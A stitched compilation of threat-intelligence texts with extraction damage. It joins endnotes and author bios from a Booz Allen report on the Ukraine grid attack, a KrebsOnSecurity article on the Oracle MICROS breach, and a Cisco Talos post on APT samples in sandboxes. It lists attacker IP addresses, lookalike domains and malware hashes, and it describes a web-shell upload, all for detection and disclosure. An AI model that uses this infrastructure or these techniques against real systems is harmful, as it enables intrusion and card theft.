Virus Total, March 22, 2016, accessed July +15, 2016, hxxps://www.virustotal.com/en/file/30862ab7aaa6755b8fab0922ea819fb48487c063bea4a84174afbbd65ce26b86/ +analysis/. +271. +Ibid. +272. Ibid. +273. Ibid. +274. Ibid. +275. +Ibid. +276. Ibid. +277. +f52869474834be5a6b5df7f8f0c46cbc7e9b22fa5cb30bee0f363ec6eb056b95, + Virus Total, June 21, 2016, accessed July 15, 2016, +hxxps://www.virustotal.com/en/file/f52869474834be5a6b5df7f8f0c46cbc7e9b22fa5cb30bee0f363ec6eb056b95/analysis/. +278. Ibid. +279. Ibid. +280. Ibid. +281. Ibid. +282. Ibid. +283. Ibid. +284. +c7536ab90621311b526aefd56003ef8e1166168f038307ae960346ce8f75203d, + Virus Total, June 21, 2016, accessed July 15, 2016, +hxxps://www.virustotal.com/en/file/c7536ab90621311b526aefd56003ef8e1166168f038307ae960346ce8f75203d/analysis/. +285. Ibid. +286. Ibid. +287. Ibid. +288. Ibid. +289. Ibid. +290. Ibid. +291. +Malicious Code Analysis on Ukraine +s Power Grid Incident, + Beijing Knownsec Information Technology Co., Ltd., January 10, +2016, accessed July 12, 2016, hxxp://blog.knownsec.com/wp-content/uploads/2016/01/Malicious-Code-Analysis-on-UkrainesPower-Grid-Incident-L150113.pdf. +Booz Allen Hamilton +292. +5d2b1abc7c35de73375dd54a4ec5f0b060ca80a1831dac46ad411b4fe4eac4c6, + Virus Total, July 15, 2016, accessed July 15, 2016, +hxxps://www.virustotal.com/en/file/5d2b1abc7c35de73375dd54a4ec5f0b060ca80a1831dac46ad411b4fe4eac4c6/analysis/. +293. Ibid. +294. Ibid. +295. Ibid. +296. Ibid. +297. Ibid. +298. +11b7b8a7965b52ebb213b023b6772dd2c76c66893fc96a18a9a33c8cf125af80, + Virus Total, June 21, 2016, accessed July 15, 2016, +hxxps://www.virustotal.com/en/file/11b7b8a7965b52ebb213b023b6772dd2c76c66893fc96a18a9a33c8cf125af80/analysis/. +299. Ibid. +300. Ibid. +301. Ibid. +302. Ibid. +303. Ibid. +304. Ibid. +305. +Malicious Code Analysis on Ukraine +s Power Grid Incident, + Beijing Knownsec Information Technology Co., Ltd., January 10, +2016, accessed July 12, 2016, hxxp://blog.knownsec.com/wp-content/uploads/2016/01/Malicious-Code-Analysis-on-UkrainesPower-Grid-Incident-L150113.pdf. +306. +Blackenergy & Quedagh: The convergence of crimeware and APT attacks, + F-Secure Labs Security Response, accessed July 12, +2016, hxxps://www.f-secure.com/documents/996508/1030745/blackenergy_whitepaper.pdf. +307. Ibid. +308. Raj Samani and Christiaan Beek, +Updated BlackEnergy Trojan Grows More Powerful, +McAfee Labs, January 14, 2016, +accessed July 13, 2016, hxxps://blogs.mcafee.com/mcafee-labs/updated-blackenergy-trojan-grows-more-powerful/. +309. Robert Lipovsky and Anton Cherapanov, +Last-minute paper: Back in BlackEnergy: 2014 targeted attacks in the Ukraine +and Poland, + Virus Bulletin, September 25, 2015, accessed July 12, 2016, hxxps://www.virusbulletin.com/conference/vb2014/ +abstracts/back-blackenergy-2014-targeted-attacks-ukraine-and-poland. +310. +Blackenergy & Quedagh: The convergence of crimeware and APT attacks, + F-Secure Labs Security Response, accessed July 12, +2016, hxxps://www.f-secure.com/documents/996508/1030745/blackenergy_whitepaper.pdf. +311. +Ibid. +312. +Ibid. +313. +Ibid. +314. +Raj Samani and Christiaan Beek, +Updated BlackEnergy Trojan Grows More Powerful, +McAfee Labs, January 14, 2016, +accessed July 13, 2016, hxxps://blogs.mcafee.com/mcafee-labs/updated-blackenergy-trojan-grows-more-powerful/. +315. +Robert M. Lee, Michael J. Assante, and Tim Conway, +Analysis of the Cyber Attack on the Ukrainian Power Grid Defense +Use Case, + SANS Institute and Electricity Information Sharing and Analysis Center, March 18, 2016, accessed July 12, 2016, +hxxps://ics.sans.org/media/E-ISAC_SANS_Ukraine_DUC_5.pdf. +boozallen.com/ics +316. Robert Lipovsky and Anton Cherapanov, +Last-minute paper: Back in BlackEnergy: 2014 targeted attacks in the Ukraine +and Poland, + Virus Bulletin, September 25, 2015, accessed July 12, 2016, hxxps://www.virusbulletin.com/conference/vb2014/ +abstracts/back-blackenergy-2014-targeted-attacks-ukraine-and-poland. +317. +Ibid. +318. Raj Samani and Christiaan Beek, +Updated BlackEnergy Trojan Grows More Powerful, +McAfee Labs, January 14, 2016, +accessed July 13, 2016, hxxps://blogs.mcafee.com/mcafee-labs/updated-blackenergy-trojan-grows-more-powerful/. +319. +IR-ALERT-H-16-043-01AP Cyber-Attack Against Ukrainian Critical Infrastructure, + US Department of Homeland Security +Industrial Control System Computer Emergency Response Team, March 7, 2016, accessed July 12, 2016, hxxps://info.publicintelligence.net/NCCIC-UkrainianPowerAttack.pdf. +320. Paul Ducklin, +Ukraine power outages blamed on +hackers and malware + the lessons to learn, + nakedsecurity by Sophos, January 6, 2016, accessed July 12, 2016, hxxps://nakedsecurity.sophos.com/2016/01/06/ +ukraine-power-outages-blamed-on-hackers-and-malware/. +321. +Eduard Kovacs, +BlackEnergy Malware Used in Ukraine Power Grid Attacks, + SecurityWeek, January 4, 2016, accessed July 12, +2016, hxxp://www.securityweek.com/blackenergy-group-uses-destructive-plugin-ukraine-attacks. +322. +Malicious Code Analysis on Ukraine +s Power Grid Incident, + Beijing Knownsec Information Technology Co., Ltd., January 10, +2016, accessed July 12, 2016, hxxp://blog.knownsec.com/wp-content/uploads/2016/01/Malicious-Code-Analysis-on-UkrainesPower-Grid-Incident-L150113.pdf. +323. +Matt Johnston, +Dropbear SSH, + University of Western Australia University Computer Club, accessed July 12, 2016, hxxps:// +matt.ucc.asn.au/dropbear/dropbear.html. +324. +Malicious Code Analysis on Ukraine +s Power Grid Incident, + Beijing Knownsec Information Technology Co., Ltd., January 10, +2016, accessed July 12, 2016, hxxp://blog.knownsec.com/wp-content/uploads/2016/01/Malicious-Code-Analysis-on-UkrainesPower-Grid-Incident-L150113.pdf. +325. +Ibid. +326. Ibid. +327. +Booz Allen Hamilton +BlackEnergy and the Ukraine: Signals vs. Noise, + Cylance, January 12, 2016, accessed July 12, 2016, hxxps://blog.cylance.com/ +blackenergy-and-the-ukraine-signals-vs.-noise. +AUTHORS +JAKE STYCZYNSKI +Jake Styczynski is an associate at Booz Allen +Hamilton specializing in cyber threat research. +He has conducted cyber threat landscape and +organizational risk assessments for commercial +and government clients. Jake has led project +teams in open-source research efforts evaluating +threats to space-based systems, maritime +navigation and communication systems, and +industrial control systems. Jake earned an M.I.A. +in international security policy from Columbia +University and a B.A. in political science from +University of Massachusetts at Amherst. +NATE BEACH-WESTMORELAND +Nate Beach-Westmoreland (@NateBeachW) is a +lead associate at Booz Allen Hamilton with nearly +a decade of experience in cyber intelligence, +open-source research, and geopolitical analysis. +Nate leads a team of multidisciplinary analysts in +producing strategic cyber threat intelligence for +commercial and government clients. He has +helped mature or establish several Booz Allen +open-source intelligence teams, including the +firm +s first commercial cyber threat intelligence +offering in 2011. He earned an M.A. in +international relations from Yale University and a +B.A. in history from Cornell University. +SCOTT STABLES +Scott Stables is a chief technologist in Booz +Allen +s Strategic Innovation Group leading the +firm +s Next-Generation Industrial Security +initiative. In this role, he manages a team of +engineers and developers working together +develop solutions that address the cybersecurity +challenges associated with industrial systems +and industrial IoT security. Scott has almost 20 +years of technology experience, primarily in the +systems integration, communications, and +cybersecurity areas, and has worked for a range +of commercial customers across the globe +focused on a range of diverse initiatives. Scott +has an M.S. in information systems from Robert +Gordon University, and a LL.B (Hons) in +business law from London Guildhall University. +About Booz Allen +Booz Allen Hamilton has been at the forefront +of strategy and technology for more than 100 +years. Today, the firm provides management and +technology consulting and engineering services +to leading Fortune 500 corporations, governments, and not-for-profits across the globe. +Booz Allen partners with public and private +sector clients to solve their most difficult +challenges through a combination of consulting, +analytics, mission operations, technology, +systems delivery, cybersecurity, engineering, +and innovation expertise. +With international headquarters in McLean, +Virginia, the firm employs more than 22,600 +people globally and had revenue of $5.41 billion +for the 12 months ended March 31, 2016. To +learn more, visit BoozAllen.com. (NYSE: BAH) +For More Information +BRAD MEDAIRY +Senior Vice President +medairy_brad@bah.com ++1-703-902-5948 +SCOT T STABLES +Chief Cyber Technologist +stables_scott@bah.com ++1-630-776-7701 +Authors +MAT T THURSTON +Lead Associate +thurston_matthew@bah.com ++1-703-216-5259 +NATE BEACH-WESTMORELAND +Author +JAKE ST YCZ YNSKI +Lead Author +SCOT T STABLES +Author +boozallen.com/ics + 2016 Booz Allen Hamilton Inc. | vcs.c.07.047.16 +BO OZ ALLEN.COM +AUG 16 +Visa Alert and Update on the Oracle Breach +Credit card industry giant Visa on Friday issued a security alert warning companies using +point-of-sale devices made by Oracle +s MICROS retail unit to double-check the machines +for malicious software or unusual network activity, and to change passwords on the devices. +Visa also published a list of Internet addresses that may have been involved in the Oracle +breach and are thought to be closely tied to an Eastern European organized cybercrime gang. +The Visa alert is the first substantive document that tries to help explain what malware and +which malefactors might have hit Oracle + and by extension many of Oracle +s customers +since KrebsOnSecurity broke news of the breach on Aug. 8. That story cited sources close to +the investigation saying hackers had broken into hundreds of servers at Oracle +s retail +division, and had completely compromised Oracle +s main online support portal for MICROS +customers. +MICROS is among the top three point-of-sale vendors globally. Oracle +s MICROS division sells +point-of-sale systems used at more than 330,000 cash registers worldwide. When Oracle +bought MICROS in 2014, the company said MICROS +s systems were deployed at some +200,000+ food and beverage outlets, 100,000+ retail sites, and more than 30,000 hotels. +In short, tens of millions of credit cards are swiped at MICROS terminals monthly, and a +breach involving the theft of credentials that might have granted remote access to even just a +small percentage of those systems is potentially a big and costly problem for all involved. +So far, however, most MICROS customers are left scratching their heads for answers. +A frequently asked questions bulletin (PDF) Oracle also released last Monday held little useful +information. Oracle issued the same cryptic response to everyone who asked for particulars +about how far the breach extended. +Oracle has detected and addressed malicious code in +certain legacy MICROS systems. +Oracle also urged MICROS customers to change their passwords, and said +we also +recommend that you change the password for any account that was used by a MICROS +representative to access your on-premises systems. +One of two documents Oracle sent to MICROS customers and the sum total of information the company has +released so far about the breach. +Some technology and fraud experts, including Gartner Analyst Avivah Litan, read that +statement highlighted in yellow above as an acknowledgement by Oracle that hackers may +have abused credentials gained in the MICROS portal breach to plant malicious code on the +point-of-sale devices run by an unknown number of MICROS customers. +This [incident] could explain a lot about the source of some of these retail and merchant +point-of-sale hacks that nobody has been able to definitively tie to any one point-of-sale +services provider, + Litan told me last week. +d say there +s a big chance that the hackers in this +case found a way to get remote access + to MICROS customers + on-premises point-of-sale +devices. +Clearly, Visa is concerned about this possibility as well. +INDICATORS OF COMPROMISE +In my original story about the breach, I wasn +t able to reveal all the data I +d gathered about the +apparent source of the attacks and attackers. A key source in that story asked that I +temporarily delay publishing certain details of the investigation, specifically those known as +indicators of compromise (IOCs). Basically, IOCs are list of suspect Internet addresses, +domain names, filenames and other curious digital clues that are thought to connect the victim +with its attacker. +ve been inundated all week with calls and emails from security experts asking for that very +data, but sharing it wasn +t my call. That is, until yesterday (8/12/16), when Visa published a +merchant communication alert + to some customers. In that alert (PDF), Visa published +IOCs that may be connected with the intrusion. These IOCs could be extremely useful to +MICROS customers because the presence of Internet traffic to and from these online +destinations would strongly suggest the organization +s point-of-sale systems may be similarly +compromised. +Some of the addresses on this list from Visa are known to be associated with the Carbanak +Gang, a group of Eastern European hackers that Russian security firm Kaspersky +Labestimates has stolen more than $1 billion from banks and retailers. Here +s the IOCs list +from the alert Visa pushed out Friday: +Visa warned merchants to check their systems for any communications to and from these Internet addresses +and domain names associated with a Russian organized cybercrime gang called +Carbanak. +Thankfully, since at least one of the addresses listed above (192.169.82.86) matched what +s on +my source +s list, the source agreed to let me publish the entire thing. Here it is. I checked my +source +s list and found at least five Internet addresses that were seen in both the Oracle attack +and in a Sept. 2015 writeup about Carbanak by ESET Security, a Slovakian antivirus and +security company. [NB: If you are unskilled at safely visiting malicious Web sites and/or +handling malware, it +s probably best not to visit the addresses in the above-linked list.] +Visa also mentioned a specific POS-malware threat in its alert called +MalumPOS. +According to researchers at Trend Micro, MalumPOS is malware designed to target pointof-sale systems in hotels and related industries. In fact, Trend found that MalumPOS is set +up to collect data specifically from point-of-sale systems running on Oracle +s MICROS +platform. +It should come as no surprise then that many of Oracle +s biggest customers in the hospitality +industry are starting to make noise, accusing Oracle of holding back key information that could +help MICROS-based companies stop and clean up breaches involving malware and stolen +customer credit card data. +Oracle +s silence has been deafening, + said Michael Blake, chief +executive officer at HTNG, a trade association for hotels and +technology. +Oracle +s silence has been deafening, + said Michael Blake, chief executive officer at HTNG, +a trade association for hotels and technology. +They are still grappling and trying to answer +questions on the extent of the breach. Oracle has been invited to the last three [industry] calls +this week and they are still going about trying to reach each customer individually and in the +process of doing so they have done nothing but given the lame advice of changing passwords. +The hospitality industry has been particularly hard hit by point-of-sale compromises over the +past two years. Last month, KrebsOnSecurity broke the news of a breach at Kimpton +Hotels (Kimpton appears to run MICROS products, but the company declined to answer +questions for this story). +Kimpton joins a long list of hotel brands that have acknowledged card breaches over the last +year, +including Trump +Hotels (twice), Hilton, Mandarin +Oriental, +and White +Lodging(twice), Starwood Hotels and Hyatt. In many of those incidents, thieves had planted +malicious software on the point-of-sale devices at restaurants and bars inside of the hotel +chains. And, no doubt, many of those cash registers were run on MICROS systems. +If Oracle doesn +t exactly know which + if any + of its MICROS customers had malware on +their point-of-sale systems as a result of the breach, it may be because the network intruders +didn +t have any reason to interact with Oracle +s customers via the MICROS portal after stealing +usernames and passwords that would allow them to remotely access customer on-premises +systems. In theory, at that point the fraudsters could have bypassed Oracle altogether from +then on. +BREACHED BY MULTIPLE ACTORS? +Another possibly interesting development in the Oracle breach story: There are indications +that Oracle may have been breached by more than one cybercrime group. Or at least handed +off from one to the other. +Late this week, Thomas Fox-Brewster at Forbes published a story noting that MICROS +was just one of at least five point-of-sale companies that were recently hacked by a guy who +from an exhaustive review of his online chats + appears to have just sat himself down one day +and decided to hack a bunch of point-of-sale companies. +Forbes quoted my old friend Alex Holden of Hold Security saying he had evidence that +hackers had breached at least 10 payment companies, and the story focuses on getting +confirmation from the various other providers apparently breached by the same cybercriminal +actor. +Holden showed me multiple pages worth of chat logs between two individuals on a cybercrime +forum [full disclosure: Holden +s company lists me as an adviser, but I accept no compensation +for that role, and he ignores most of my advice]. +The discussion between the two hackers begins around July 15, 2016, and goes on for more +than a week. In it, the two hackers have been introduced to one another through a mutual, +trusted contact. For a while, all they discuss is whether the seller can be trusted to deliver the +Oracle MICROS database and control over the Oracle MICROS customer ticketing portal. +In the end, the buyer is convinced by what he sees and agrees to pay the bitcoin equivalent of +roughly USD $13,000 for access to Oracle +s MICROS portal, as well as a handful of other pointof-sale Web sites. The buyer +s bitcoin wallet and the associated transactions can be seen here. +A screen shot shared by one of the hackers involved in compromising Oracle +s MICROS support portal. This +screen shot was taken of a similar Web shell the hackers placed on the Web site of another POS provider (this is +not the shell that was on Oracle). +According to the chat log, the hacker broke in by exploiting a file-upload function built into +the MICROS customer support portal. From there the attackers were able to upload an attack +tool known as a +WSO Web Shell. + This is a crude but effective text-based control panel that +helps the attacker install additional attack tools to harvest data from the compromised Web +server (see screen shot above). The beauty of a Web shell is that the attacker can control the +infected site using nothing more than a Web browser, using nothing more than a hidden login +page and a password that only he knows. +The two hackers discussed and both viewed more than a half-dozen files that were apparently +left behind on the MICROS portal by the WSO shell they uploaded in mid-July (most of the +malicious files ended in the file extension +wso.aspx +). The chat logs show the pair of +miscreants proceeding to target another 9 online payment providers or point-of-sale vendors. +Some of those companies were quoted in the Forbes piece having acknowledged a breach +similar to the Web shell attack at Oracle. But none of them have anywhere near the size of +Oracle +s MICROS customer base. +GOOD HOSPITALITY, OR SWEPT UNDER THE RUG? +Oracle maintains in its FAQ (PDF) about the MICROS attack that +Oracle +s Corporate network +and Oracle +s other cloud and service offerings were not impacted. + But a confidential source +within Oracle +s Hospitality Division told KrebsOnSecurity that the breach first started in one +of Oracle +s major point-of-sale data centers + specifically the company +s large data center in +Manassas, Va. +According to my source, that particular center helps large Oracle hospitality industry clients +manage their fleets of MICROS point-of-sale devices. +Initially, the customer +s network and the internal Oracle network were on the same network, +said my source, who spoke under condition of anonymity because he did not have permission +from his employer to speak on the record. +The networking team did a network segmentation +of these two networks + ironically for security purposes. However, it seems as if what they +have done actually allowed access from the Russian Cybercrime group. +My source said that in mid-July 2016 Oracle sent out an email alert to employees of its +hospitality division that they had to re-image their laptops without backing anything up. +All of the files and software that were on an employee +s computer were deleted, which was +crippling to business operations, + my source recalled. +Project management lost all their +schedules, deployment teams lost all the software that they use to install on customer sites. +Oracle did not tell the employees in this email that they got hacked but just to re-image +everything with no backups. It seems as if Oracle did a pretty good job sweeping this incident +under the rug. Most employees don +t know about the hack and it hasn +t been a huge deal to +the customers. However, it is estimated that this cost them billions, so it is a really major +breach. +I sent Oracle a litany of questions based on the above, but a spokesperson for the company +said Oracle would comment on none of it. += Indicators = +104.156.240.212 +104.232.35.136 +104.250.153.57 +107.181.246.211 +107.181.250.221 +108.61.57.43 +128.177.144.59 +144.168.45.128 +151.80.8.10 +162.212.105.78 +172.28.202.31 +184.22.81.68 +185.29.9.28 (c) +185.86.149.115 +185.86.149.60 +186.106.120.113 +190.82.81.132 +194.146.180.58 +195.154.43.52 +198.23.210.156 +207.182.98.21 +208.167.254.234 +209.51.131.190 +216.155.131.74 +216.170.116.120 +220.130.157.99 +23.227.196.99 +23.249.164.109 +31.131.17.128 +45.63.23.135 +45.63.96.216 +5.45.179.185 +5.45.192.117 +51.254.95.100 +51.254.95.99 +59.55.142.171 +60.228.38.213/login.aspx +66.232.124.175 +71.63.154.49 +72.233.55.10 +74.125.39.18 +80.83.118.240 +80.83.118.245 +82.163.78.188 +83.183.76.156 +85.186.125.217 +86.55.7.54 +87.236.210.109 +87.236.210.116 +87.98.153.34 +91.207.60.68 +94.140.120.133 +95.215.44.136 +95.215.45.228 +95.215.45.64 +95.215.45.69 +95.215.45.90 +95.215.45.98 +95.215.46.2 +95.215.46.32 +95.215.46.76 +95.85.12.179 +98.129.249.174 +clients14-google.com +mail.clients12-google.com +ns1.stats1-google.com +ns2.stats1-google.com +wambiri.net/login.aspx +4/10/2016 +Cisco Talos Blog: Research Spotlight: Needles in a Haystack +T H U R S D AY, J A N U A R Y 1 4 , 2 0 1 6 +RESEARCH SPOTLIGHT: NEEDLES IN A HAYSTACK +This post was authored by Mariano Graziano. +Malware sandboxes are automated dynamic analysis systems that execute programs in +a controlled environment. Within the large volumes of samples submitted daily to these +services, some submissions appear to be different from others and show interesting +characteristics. At USENIX Security 2015 I presented a paper in which we proposed a +method to automatically discover malware developments from samples submitted to +online dynamic analysis systems. The research was conducted by dissecting the Anubis +sandbox dataset which consisted of over 30M samples collected in six years. The +methodology we proposed was effective and we were able to detect many interesting +cases in which the malware authors directly interacted with the sandbox during the +development phase of the threats. +Another interesting result that came from the research concerns the samples attributed +to Advanced Persistent Threat (APT) campaigns. Surprisingly, some of the malware +samples used in these sophisticated attacks had been submitted to the Anubis sandbox +months -- sometimes even years -- before the attack had been attributed to the proper +APT campaign by a security vendor. To be perfectly clear, we are not saying that it took +security vendors months or years to detect a threat. Most times, we are able to detect +the threats in no more than a few hours. It is just that the malware samples were +mislabeled and not properly associated with APT campaigns. In general, the same goes +for non-APT malware campaigns. In this blog post, we tried to see if the same applied to +the Cisco dataset. Speci cally, we chose ten APT campaigns, -- some of which were +already covered in the Usenix paper. We decided to inspect two different datasets: our +incoming sample feeds / malware zoo, and the telemetry associated with our Advanced +Malware Protection (AMP) solutions. Talos receives samples from over 100 external +feeds ranging from anti-malware companies to research centers, while the AMP dataset +http://blog.talosintel.com/2016/01/haystack.html +1/10 +4/10/2016 +Cisco Talos Blog: Research Spotlight: Needles in a Haystack +contains telemetry from the Cisco AMP user-base. +The remaining part of this post is organized as follows. First, we show the APT +campaigns we investigated. Second, we summarize the results of the analysis of the +Talos dataset. Third, we show the results from the AMP dataset. Finally, we summarize +our ndings. +A P T C A M PA I G N S +APT CAMPAIGN +MADE PUBLIC +Beebus +February 2013 +Arid Viper +February 2015 +Red October +January 2013 +Equation +February 2015 +Paci c RAT +July 2014 +Regin +November 2014 +Aurora +January 2010 +Pitty Tiger +July 2014 +Net Traveller +June 2013 +BrutPOS +July 2014 +The ten malware campaigns in the table above garnered signi cant media attention +when discovered, with some of them clearly falling in the area of APT. They were found +by different security companies between 2010 and 2015, having different levels of +sophistication and different objectives. Moreover, these APT campaigns were not limited +to western countries. They have affected organizations all over the world. Most of the +time, connecting the dots and drawing relationships between samples and campaigns +take months and many experts. This means the security company that releases a +detailed report documenting the campaign is aware of it long before the information is +made public. However, we believe the +public release + date is still a good metric, because +it is the moment at which all the other security companies and the entire world are made +aware of these threats. +Another important aspect during an APT investigation is attribution. While detection is +done quickly, attribution for these campaigns is often an open and hard problem to solve. +Most of the times the perpetrators remain unknown even after months of work by +http://blog.talosintel.com/2016/01/haystack.html +2/10 +4/10/2016 +Cisco Talos Blog: Research Spotlight: Needles in a Haystack +Most of the times the perpetrators +remain unknown even after months of work by +security researchers. However, sometimes researchers are able to connect the dots and +attribute the attack to a threat actor. This was the case for some of the APT campaigns +discussed so far. Some of these threats have been attributed to state-sponsored actors, +others to cyber criminals or to espionage attacks. However, like in the USENIX +publication, in this post we will make no speculation about attribution. +In the next paragraphs, we will present the results of searching for samples associated +with these APT campaigns in our datasets. +TA LO S D ATA S E T +AVG DAYS BEFORE APT CAMPAIGN PUBLICALLY +CAMPAIGN +IDENTIFIED +Beebus +Arid Viper +Red October +Equation +1371 +Paci c RAT +Regin +1018 +Aurora +Pitty Tiger +Net Traveller +BrutPOS +This table shows the results of the analysis of our incoming sample feeds/malware zoo. +For every campaign, we checked in our malware zoo to see when they had been initially +submitted to us. Given that we know when information about these APT campaigns was +made public, we can compute the number of days it took the security community to +publicly tie the samples to an APT campaign, even though the samples had been marked +malicious for other reasons. On average, these samples went for 458 days before being +tied to an APT campaign. The table presents the average number of days for the entire +campaign, and we go from a few months as in the case of +Aurora + to more than three +years for +Equation +. Notice that these gures come from our malware zoo which +collects samples from external sources and in general are a good indicator given the +amount of samples received per day. Notice that these numbers vary based on the +dataset. +http://blog.talosintel.com/2016/01/haystack.html +3/10 +4/10/2016 +Cisco Talos Blog: Research Spotlight: Needles in a Haystack +dataset. +V I R U S TOTA L +The vast majority of the submissions come from big organizations such as Antivirus +companies. Interestingly, a signi cant percentage is submitted by VirusTotal. For this +reason we decided to check the submitters for possible links and intelligence +information. As already documented by Dixon, information about the submitters of +samples is not publicly available, but can partially be retrieved from their Intelligence +service. For every sample, it is possible to know a hash (a hexadecimal unique identi er +of the submitter), the country (from the geolocalization of the IP address of the +submitter) and the method (the way the sample has been submitted, for instance via the +web interface or the APIs). This opaque information complicates the analysis a little bit, +but it is still possible to obtain interesting results. +SUBMITTER +6exxxxxx +CAMPAIGNS +AridViper Nettraveller RedOctober BrutPOS +PittyTiger +14xxxxxx +AridViper Regin +22xxxxxx +AridViper Regin Nettraveller BrutPOS PittyTiger +20xxxxxx +AridViper Nettraveller Paci cRAT BrutPOS +PittyTiger +5exxxxxx +Equation Regin BrutPOS Auror +72xxxxxx +Equation Regin BrutPOS +4bxxxxxx +Regin +3bxxxxxx +Regin +cdxxxxxx +Beebus PittyTiger Nettraveller BrutPOS +b4xxxxxx +Aurora +The table above summarizes our ndings from VirusTotal. The rst column shows the +hash of the submitter. This means that the submitter sent one or more samples of a +given APT campaign to VirusTotal before its public release. One can only speculate on +who these submitters are. They could very likely be the threat actors themselves, testing +to see if their malware is detected by the AV companies. They could also be security +researchers or vendors who are trying to get information from VirusTotal. It is +noteworthy that in most of the cases the same submitters uploaded samples belonging +http://blog.talosintel.com/2016/01/haystack.html +4/10 +4/10/2016 +Cisco Talos Blog: Research Spotlight: Needles in a Haystack +noteworthy that in most of the cases the same submitters uploaded samples belonging +to different APT campaigns. +C I S CO A M P +We went through our logs to search for entries that contained hashes related to the ten +APT campaigns we have been investigating. Interestingly, we got hits for eight different +hashes belonging to three different campaigns that were discovered on Cisco AMP +customer machines before the APT campaign was publicly identi ed. +APT CAMPAIGN (NUM +DAYS BEFORE APT CAMPAIGN +OF SAMPLES) +PUBLICALLY IDENTIFIED +Arid Viper (1 SAMPLE) +Equation (1 SAMPLE) +BrutPOS (6 SAMPLES) +As illustrated in the table above, we identi ed eight malicious samples that were in the +wild before being associated with APT campaigns. It is important to repeat that most of +these samples were detected as malicious the moment they rst appeared on our +customers + machines. +Surprisingly, one sample of the Equation APT campaign (fanny worm) was found and +blocked on a Cisco AMP customer +s machine a day after the public release of the +Kaspersky report. +HASH (SHA256) +DATE +DISPOSITION +003315B0AEA2FCB9F77D29223DD8947D0E6792B3A0227E054BE8EB2A11F443D9 +2015-02-17 +MALICIOUS +EQUATION +003315B0AEA2FCB9F77D29223DD8947D0E6792B3A0227E054BE8EB2A11F443D9 +2015-02-17 +MALICIOUS +EQUATION +015FBC0B216D197136DF8692B354BF2FC7BD6EB243E73283D861A4DBBB81A751 +2014-12-20 +UNKNOWN +ARID VIPER +015FBC0B216D197136DF8692B354BF2FC7BD6EB243E73283D861A4DBBB81A751 +2014-12-20 +MALICIOUS +ARID VIPER +015FBC0B216D197136DF8692B354BF2FC7BD6EB243E73283D861A4DBBB81A751 +2015-01-02 +MALIICIOUS +ARID VIPER +015FBC0B216D197136DF8692B354BF2FC7BD6EB243E73283D861A4DBBB81A751 +2015-01-16 +MALICIOUS +ARID VIPER +015FBC0B216D197136DF8692B354BF2FC7BD6EB243E73283D861A4DBBB81A751 +2015-02-12 +MALICIOUS +ARID VIPER +http://blog.talosintel.com/2016/01/haystack.html +5/10 +4/10/2016 +Cisco Talos Blog: Research Spotlight: Needles in a Haystack +14BFDA4A4ACA1276388702D0FB7629AF120FF34C1ACDEB7613815F2981C99832 +2014-05-07 +MALICIOUS +BRUTPOS +508909C8A00026C904F52099DD62BBF4062B4E8E40FC0601BD9E13570514B4F5 +2014-05-06 +MALICIOUS +BRUTPOS +7170A07BCB5B0467A75CBD17A1A1877AEC3C8EA43C45D3BED6AB5E6C95A62713 +2014-05-06 +MALICIOUS +BRUTPOS +9A10916AD0F43FA3376C2E54FD5CFDD06D684B3A19895ED4107FAF9F3313DCDA +2014-05-07 +MALICIOUS +BRUTPOS +E28EABEB678AFB5E172F4127C5692E742809FD86DFA8478C1DC6F9C13B2A8E5F +2014-05-06 +UNKNOWN +BRUTPOS +E28EABEB678AFB5E172F4127C5692E742809FD86DFA8478C1DC6F9C13B2A8E5F +2014-05-07 +MALICIOUS +BRUTPOS +Based on our logs, Cisco AMP found the sample +015FBC0B216D197136DF8692B354BF2FC7BD6EB243E73283D861A4DBBB81A751 +twice on 2015-12-20. It was +unknown + to AMP the rst time, but detected as malicious +the second time. +E28EABEB678AFB5E172F4127C5692E742809FD86DFA8478C1DC6F9C13B2A8E5F +was +unknown + to AMP on 2014-05-06, but detected as malicious the next time it was +seen on a customer +s machine on 2014-05-07. In all the other cases the samples were +already considered malicious. +CO N C LU S I O N +As the number of threats per day continues to increase, the number of malware samples +security companies automatically analyze increases. Much of the analysis is comprised +of dynamic analysis systems, such as sandboxes, to determine whether the sample is +malicious or not. These samples are then stored for further analysis. Due to the large +numbers of samples, in many organizations the vast majority of these samples remain +categorized solely on the initial sandbox run. Even when these samples are shared +among companies or via other services like VirusTotal some malware samples can go +unnoticed for months because they are marked as malware but given some generic +name, such as +Win.Trojan.Agent +. Then we are shocked when a security company +discovers an APT campaign that has supposedly gone unnoticed for years. +The results of this post con rm the assumption of the Usenix paper, also based on a +dataset of a big security company and similar results are expected throughout the +security industry. Many times, malware is initially submitted to sandbox systems and +marked as malicious based on the output of the sandbox. Then the authors use that +information to tweak the sample to avoid detection in future sandbox runs through +various evasion tactics. In other situations, the initial sample may not even be agged as +malicious due to evasion techniques being utilized. By performing statistical analysis and +reducing the data through clustering, even samples that avoid initial sandbox detection +http://blog.talosintel.com/2016/01/haystack.html +6/10 +4/10/2016 +Cisco Talos Blog: Research Spotlight: Needles in a Haystack +reducing the data through clustering, even samples that avoid initial sandbox detection +can potentially be detected as malicious. There is clearly a need for more advanced +analytical systems to identify campaigns and link the samples together. +Identifying today +s threats requires multiple layers of protection at various points across +the network, along with constantly updated threat intelligence information. Cisco +analyzes a massive amount of telemetry data and is able to ag malware as malicious +based on multiple factors. By performing manual and programmatic analysis of sandbox +data in conjunction with identifying behaviors which are associated with malicious +activity, even unknown APT campaigns can be neutralized. +P O S T E D B Y E A R L C A R T E R AT 1 1 : 0 3 A M +L A B E L S : A P T , C A M PA I G N , M A LW A R E , TA L O S , W H I T E PA P E R +SHARE THIS POST +NO COMMENTS: +POST A COMMENT +Enter your comment... +Comment as: +Publish +Unknown (Google) +Preview +http://blog.talosintel.com/2016/01/haystack.html +Sign out +Notify me +7/10 +4/10/2016 +Cisco Talos Blog: Research Spotlight: Needles in a Haystack +NEWER POST +HOME +OLDER POST +S U B S C R I B E T O : P O S T C O M M E N T S ( AT O M) +SEARCH THE BLOG +Search +SUBSCRIBE TO OUR FEED +Posts +Comments +BLOG ARCHIVE + 2 0 1 6 (21) + A P R I L (4) + M A R C H (7) + F E B R U A R Y (6) + J A N U A R Y (4) +Bypassing MiniUPnP Stack Smashing Protection +Research Spotlight: Needles in a Haystack +Microsoft Patch Tuesday - January 2016 +Rigging compromise - RIG Exploit Kit + 2 0 1 5 (62) + 2 0 1 4 (67) + 2 0 1 3 (30) + 2 0 1 2 (53) + 2 0 1 1 (23) +http://blog.talosintel.com/2016/01/haystack.html +8/10 +4/10/2016 +Cisco Talos Blog: Research Spotlight: Needles in a Haystack + 2 0 1 0 (94) + 2 0 0 9 (146) + 2 0 0 8 (38) +RECOMMENDED BLOGS 